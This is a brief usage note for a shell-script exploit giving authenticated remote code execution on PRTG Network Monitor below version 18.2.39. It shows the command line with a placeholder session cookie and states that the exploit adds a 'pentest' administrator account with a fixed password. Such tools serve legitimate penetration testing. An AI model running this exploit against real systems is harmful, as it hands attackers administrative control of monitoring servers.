Authenticated RCE for PRTG Network Monitor < 18.2.39. Resource: https://www.codewatch.org/blog/?p=453
first login and get the authenticated cookie.
then
~#./prtg-exploit.sh -u http://10.10.10.10 -c "_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1"
creates a new user pentest with password P3nT3st! and adds to administrators group.